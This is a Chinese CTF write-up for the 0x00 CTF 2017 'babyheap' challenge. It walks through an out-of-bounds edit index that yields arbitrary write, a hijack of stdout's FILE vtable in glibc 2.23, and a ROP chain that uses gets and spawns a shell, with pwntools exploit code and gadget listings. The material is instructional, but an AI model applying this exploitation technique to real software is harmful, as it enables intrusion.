Pwn with File结构体之利用 vtable 进行 ROP

时间:2021-11-05 22:15:09

前言

本文以 0x00 CTF 2017babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_-

漏洞分析

首先查看一下程序开启的安全措施

18:07 haclh@ubuntu:0x00ctf $ checksec ./babyheap
[*] '/home/haclh/workplace/0x00ctf/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

没开 PIE

接下来看看程序

Pwn with File结构体之利用 vtable 进行 ROP

对程序功能做个介绍

  • 程序一开始需要用户往 bss 段的 name 缓冲区输入内容

  • add 函数: 增加一个 user, 其实就是根据需要的大小使用 malloc 分配内存, 然后读入 username.

  • edit 函数: 根据输入的 index , 取出指针, 往里面写入内容。 index 没有校验

  • ban 函数: free 掉一个 user.

  • changename 函数: 修改 bss 段的 name

  • 输入为 5 时, 会打印 read 函数的地址, 这样就可以拿到 libc 的基地址了。

来看看 edit 函数

Pwn with File结构体之利用 vtable 进行 ROP

直接使用我们输入的数字作为数组索引,在 users 数组中取到 obj 指针,然后使用 strlen 获取输入的长度,最后调用 readobj 里面写内容。

如果我们输入的数字大于 users 数组的长度就可以读取 users 数组 外面的数据作为 read 读取数据的指针了。

下面来看看 bss 段的布局

Pwn with File结构体之利用 vtable 进行 ROP

我们可以看到 users 后面就是 name 缓冲区, name 的内容我们可控, 于是利用 edit 函数里面的 越界读 漏洞,我们就可以伪造 obj 指针, 然后在 通过 read 读取数据时 就可以往 obj 指针处写东西, 任意地址写

漏洞利用

控制rip

整理一下现在拥有的能力。

  • 通过 选项5 可以 leaklibc 的地址
  • 通过 editchangename 可以实现任意地址写

题目给的 libc2.23,没有虚表保护,于是选择改 stdout 的虚表指针,这样我们就可以伪造 stdout 的虚表,然后在调用虚表的时候,就可以控制 rip 了。

我们知道 stdout_IO_FILE_plus 类型,大小为 0xe0 , 最后 8 个字节是 vtable (即 stdout+0xd8 处), 类型是struct _IO_jump_t

pwndbg> p/x sizeof(struct _IO_FILE_plus )
$8 = 0xe0
pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$9 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
pwndbg> p/x sizeof(struct _IO_jump_t )
$10 = 0xa8
pwndbg>

我们不能 leak 堆的地址,伪造虚表只能在 name 缓冲区内伪造,name 缓冲区的大小为 0x28 , 而 虚表(struct _IO_jump_t)的大小 为 0xa8 , 所以是不能伪造整个虚表的, 不过我们只需要把虚表中接下来会被调用的项的指针改了就行了 。有点绕,直接调试看。

首先使用选项5的函数, leaklibc 的基地址

# 首先利用 gift 泄露 libc
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8 # IO_2_1_stdout->vtable 的地址

然后我们在 name 缓冲区内布置好内容,让 越界读 使用

# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)

数据布置好了以后,利用 edit 里面的越界读漏洞,进行任意地址写, 修改 IO_2_1_stdout->vtablename 缓冲区的地址

bss_name = 0x6020A0  # bss name 缓冲区的地址

# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 缓冲区开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name) # 修改 vtable 的值, 把 vtable 改成 bss_name
p.sendafter("new username: ", payload[:6]) # 修改的数据, 把虚表改到 bss .

使用 ida 可以看到 users 数组的起始地址为 0x0602040 , name 缓冲区的地址 为 0x006020a0。 所以

(0x006020a0-0x00602040)/8 = 12

这样一来就会把 name 缓冲区开始 的 8 个字节作为 user 指针对其进行内容修改。而在之前我们已经布局好 name ,使得 name 缓冲区开始 的 8 个字节 为 IO_2_1_stdout->vtable 的地址,这样在后面设置 new username 时 就可以修改 IO_2_1_stdout->vtable 了。

然后输入 new usernamep64(bss_name)6 字节 , 就可以修改 IO_2_1_stdout->vtablename 缓冲区的地址。

只发送前 6 个字节的原因是

len = strlen(obj);

长度是用 strlen 获取的, IO_2_1_stdout->vtable 原来的值是 libc 的地址开始的 6 个字节是非 \x00, 所以 strlen 会返回 6

接下来使用到 stdout 时,就会用到伪造的 虚表 (name 缓冲区)

调试看看, 会发现 crash

Pwn with File结构体之利用 vtable 进行 ROP

这里没有破坏栈的数据,所以栈回溯应该是正确的,所以看看栈回溯

Pwn with File结构体之利用 vtable 进行 ROP

可以看到 call [$rax + 0x38] , 然后 $raxname 缓冲区的地址

所以现在 $rax 的值我们可控, 只需要使得 rax + 0x38 也可控即可

 $rax  = bss_name - 0x18
$rax + 0x38 ---> bss_name + 0x20

这样一来就可以控制 rip 了。

getshell

思路分析

可以控制 rip 后, 同时还有 libc 的地址 one_gadget 可以试一试,不过这东西看运气,在这个题就不能用。这里我们使用 rop 来搞。

要进行 rop 首先得控制栈的数据,现在 rax 是我们可控的,一般的思路就是利用 xchg rax,rsp 之类的 gadget 来迁移栈到我们可控的地方,这里采取另外一种方式, 利用 libc 的代码片段 ,直接往栈里面写数据, 布置 rop 链

首先来分析下要用到的 gadget

位于 authnone_create-0x35

.text:000000000012B82B                 mov     rdi, rsp        ; gadget start
.text:000000000012B82E call qword ptr [rax+20h]
.text:000000000012B831 mov cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A
.text:000000000012B845 mov rdi, rsp
.text:000000000012B848 call rax
.text:000000000012B84A
.text:000000000012B84A loc_12B84A: ; CODE XREF: sub_12B7A0+A3↑j
.text:000000000012B84A add rsp, 30h
.text:000000000012B84E pop rbx
.text:000000000012B84F retn

可以看到 首先

rdi = rsp
call qword ptr [rax+20h]

这样只要然后 rax+0x20gets 函数的地址,就可以往 栈里面写数据了。

开始以为 gets 函数会读到 \x00 终止,后来发现不是, 函数定义

gets 函数从流中读取字符串,直到出现换行符或读到EOF为止,最后加上NULL作为字符串结束

EOF 貌似是 -1 ,所以我们可以读入 \x00 ,而且输入数据的长度还是我们可控的 (通过控制 \n

此时已经可以覆盖返回地址了,下面就是让 上面的代码块 执行完 gets 后进入 loc_12B84A , 分支。

执行完 call qword ptr [rax+20h] 后,会从 esp+8 处取出 8 字节放到 rax ,然后判断 rax+0x38 处存放的值是不是 0 , 如果为 0, 就可以进入 loc_12B84A 进行 rop 了 .

.text:000000000012B831                 mov     cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A

exp分析

整理一下,分析分析最终的 exp

首先 leaklibc 的地址,获取到后面需要的一些 gadget 的地址

然后往 name 缓冲区布置数据

# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += p64(libc.symbols['gets']) # rip for call qword ptr [rax+20h]
payload += "b" * 0x10 # padding
payload += p64(gadget) # mov rdi, rsp ; gadget start 的地址
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)

然后往触发漏洞,修改 _IO_2_1_stdout_->vtablebss_name - 0x18


# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name - 0x18) # padding for let
p.sendafter("new username: ", payload[:6]) # 修改的数据, 把虚表改到 bss .
info("_IO_2_1_stdout_->vtable({})---> bss_name".format(hex(stdout_vtable_addr)))
# gdb.attach(p)
pause()

这就使得 接下来 call [eax + 0x38] 会变成 call [name+0x20] , 也就是 进入 gadget

会调用 call qword ptr [rax+20h] ,其实就是 call [name+0x8] , 之前已经设置为 gets 函数的地址,所以会调用 gets

pop_rdi_ret = 0x0000000000400f13

# zero addr
zero_addr = 0x6020c8 # 该位置的值为 p64(0)
info("zero_addr: " + hex(zero_addr))
payload = 'a' * 8
payload += p64(zero_addr - 0x38)
payload += cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(libc.symbols['system'])
p.sendline(payload)

然后通过 gets 往栈里面布置数据, 把 rsp+8 设置为 zero_addr (该位置的值为 p64(0)),然后 rop 调用 system("sh") 即可

Pwn with File结构体之利用 vtable 进行 ROP

总结

authnone_create-0x35 处的这个 gadget 还是比较有趣的,以后能控制 rax 处的内容 时可以选择用这种方式, 比如可以修改 虚表指针时。

参考

https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/pwn/babyheap-200

Pwn with File结构体之利用 vtable 进行 ROP的更多相关文章

  1. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

  2. Pwn with File结构体(四)

    前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...

  3. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

  4. Pwn with File结构体(二)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 最新版的 libc 中会对 vtable 检查,所以之前的攻击方式 ...

  5. 刨根问底系列(2)——stdin、stdout、FILE结构体、缓冲区和fflush的理解

    stdin.stdout.FILE结构体.缓冲区和fflush理解 因为之前调试代码时, printf输出的字符串总是被截断了输出(先输出部分, 再输出剩余的), 当时调试了很久, 才知道问题所在, ...

  6. Linux&lowbar;Struct file&lpar;&rpar;结构体

    struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file {        /*         * f ...

  7. Linux--struct file结构体

    struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的  ...

  8. 2018&period;5&period;2 file结构体

    f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...

  9. fd与FILE结构体

    文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...

随机推荐

  1. 杀死你网站SEO的5个技术

    胡亮亮先生(网迈SEO总监)在其微信公众帐号里发布了文章<杀死你网站SEO的5个技术>,发出来给大家分享一下: 应百度站长平台邀请,抽空把这篇文章做一些细节上的补充 ,欢迎大家关注并讨论. ...

  2. &lbrack;Math&rsqb; A love of late toward Mathematics - how to learn it&quest;

    Link: https://www.zhihu.com/question/19556658/answer/26950430     王小龙 ,数学,计算机视觉,图形图像处理 数学系博士怒答! 我想大家 ...

  3. &lbrack;ERROR&rsqb; Failed to execute goal org&period;apache&period;maven&period;plugins&colon;maven-jar-plugin&colon;2&period;3&period;1&colon;jar &lpar;default-jar&rpar; on

    [ERROR] Failed to execute goal org.apache.maven.plugins:maven-jar-plugin:2.3.1:jar (default-jar) on ...

  4. LeetCode&lpar;4&rpar; - Median of Two Sorted Arrays

    题目要求很简单,就是给你两个已经排好序的数组nums1(长度为m)和nums2(长度为n),找出他们的中间值.返回值类型double是因为如果数字个数是偶数个,就要返回中间两个数的平均值.这题最简单的 ...

  5. Extjs发票管理系统

    技术特点:Extjs框架,三层架构,Ajax,json 1.仿office2007菜单.介面美观大方,可动态更改皮肤保存至cookie. 2,json数据源与实体类的相互转换. 3.可下载桌面版登录方 ...

  6. ubuntu14&period;04 为Firefox安装flash插件

    Ubuntu系统装好后,发现火狐浏览器播放不了视频,一直提示安装flash,但按照火狐浏览器上的提示Flash插件安装总是失败,那就只能手动安装了. (1) 去flash官网:http://get.a ...

  7. 查询死锁和处理死锁&lpar;SqlServer&rpar;

    -------------------查询死锁,极其引起的原因-------------------------------use master go create procedure sp_who_ ...

  8. Spring &plus; mybatis整合方案总结 结合实例应用

    Spring + mybatis整合实例应用 项目结构图 (Spring3.0.2 +mybatis3.0.4) 方案一: 通过配置文件整合Spring和mybatis 应用数据库 -- --数据库 ...

  9. jquery mobile扁平化设计样式--Jquery mobile Flat UI介绍

    jquery mobile扁平化设计样式--Jquery mobile Flat UI介绍 这几天开发的web app使用了jquery mobile,jquery mobile自带的样式比较适合做企 ...

  10. 给Ionic写一个cordova&lpar;PhoneGap&rpar;插件

    给Ionic写一个cordova(PhoneGap)插件 之前由javaWeb转html5开发,由于面临新技术,遂在适应的过程中极为挣扎,不过还好~,这个过程也极为短暂:现如今面临一些较为复杂的需求还 ...